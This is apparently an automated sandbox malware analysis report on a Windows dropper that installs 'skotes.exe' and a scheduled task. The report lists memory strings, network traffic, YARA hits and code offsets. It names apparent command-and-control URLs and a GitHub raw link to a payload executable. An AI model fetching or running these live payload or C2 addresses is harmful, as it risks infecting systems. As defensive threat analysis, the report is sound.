0000000B.00000003.2564761070.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2623898128.000000000144E000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2676190510.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698589160.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api
Source: 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api2
Source: 751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api3
Source: 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiC
Source: 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiV
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiW
Source: 751afd6d8b.exe, 0000000B.00000003.2675799130.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2650208475.0000000005AE5000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2713675940.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698589160.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apie
Source: 751afd6d8b.exe, 0000000B.00000003.2698667200.0000000005AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apit
Source: 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiz
Source: 751afd6d8b.exe, 0000000B.00000003.2517520209.0000000001444000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/m
Source: 751afd6d8b.exe, 0000000B.00000003.2590168330.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2598539535.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590393789.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/mm
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
Source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 27302b4729.exe, 0000001C.00000002.2867495535.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: 27302b4729.exe, 0000001C.00000002.2867495535.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/#
Source: 27302b4729.exe, 0000001C.00000002.2867495535.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/Z
Source: 27302b4729.exe, 0000001C.00000002.2867495535.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 751afd6d8b.exe, 0000000B.00000003.2520309159.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543291392.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2520309159.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543458685.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543291392.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2520309159.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543458685.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 751afd6d8b.exe, 0000000B.00000003.2492535638.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492834249.0000000001404000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492605016.0000000001431000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492807191.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49952 version: TLS 1.2

Source: 5fc147bcaa.exe, 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_651a68a8-0

Source: 5fc147bcaa.exe, 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_11ef70a0-5

Source: Yara match	File source: 15.3.svchost.exe.5560000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.svchost.exe.5340000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.5fc147bcaa.exe.5950000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.5fc147bcaa.exe.5730000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.5fc147bcaa.exe.5950000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2715290148.0000000005560000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5fc147bcaa.exe PID: 5780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7256, type: MEMORYSTR

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 751afd6d8b.exe.6.dr	Static PE information: section name:
Source: 751afd6d8b.exe.6.dr	Static PE information: section name: .idata
Source: 751afd6d8b.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: e8da769a7d.exe.6.dr	Static PE information: section name:
Source: e8da769a7d.exe.6.dr	Static PE information: section name: .idata
Source: e8da769a7d.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name:
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name: .idata
Source: 5fc147bcaa.exe.6.dr	Static PE information: section name:
Source: 3b4e53035a.exe.6.dr	Static PE information: section name:
Source: 3b4e53035a.exe.6.dr	Static PE information: section name: .idata
Source: 3b4e53035a.exe.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: .idata
Source: random[2].exe2.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0011CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0011CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC78BB	0_2_00CC78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC7049	0_2_00CC7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC8860	0_2_00CC8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC31A8	0_2_00CC31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D97B6E	0_2_00D97B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C84B30	0_2_00C84B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C84DE0	0_2_00C84DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC2D10	0_2_00CC2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC779B	0_2_00CC779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB7F36	0_2_00CB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00147049	1_2_00147049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00148860	1_2_00148860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001478BB	1_2_001478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001431A8	1_2_001431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00104B30	1_2_00104B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00142D10	1_2_00142D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00104DE0	1_2_00104DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00137F36	1_2_00137F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0014779B	1_2_0014779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00147049	2_2_00147049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00148860	2_2_00148860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001478BB	2_2_001478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001431A8	2_2_001431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00104B30	2_2_00104B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00142D10	2_2_00142D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00104DE0	2_2_00104DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00137F36	2_2_00137F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0014779B	2_2_0014779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0010E530	6_2_0010E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00126192	6_2_00126192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00148860	6_2_00148860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00104B30	6_2_00104B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00142D10	6_2_00142D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00104DE0	6_2_00104DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00120E13	6_2_00120E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00147049	6_2_00147049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001431A8	6_2_001431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00121602	6_2_00121602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0014779B	6_2_0014779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001478BB	6_2_001478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00123DF1	6_2_00123DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00137F36	6_2_00137F36
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B1900	7_2_018B1900
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B1910	7_2_018B1910
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B10A0	7_2_018B10A0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B3038	7_2_018B3038
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B3030	7_2_018B3030
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B2BF0	7_2_018B2BF0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B14D8	7_2_018B14D8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B2C00	7_2_018B2C00
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_018B8628	7_2_018B8628
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03342310	7_2_03342310
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03340F38	7_2_03340F38
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03341399	7_2_03341399
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0334224F	7_2_0334224F
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03342287	7_2_03342287
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03340F11	7_2_03340F11
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03342C60	7_2_03342C60
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03342C5A	7_2_03342C5A
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03343750	7_2_03343750
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_03343740	7_2_03343740
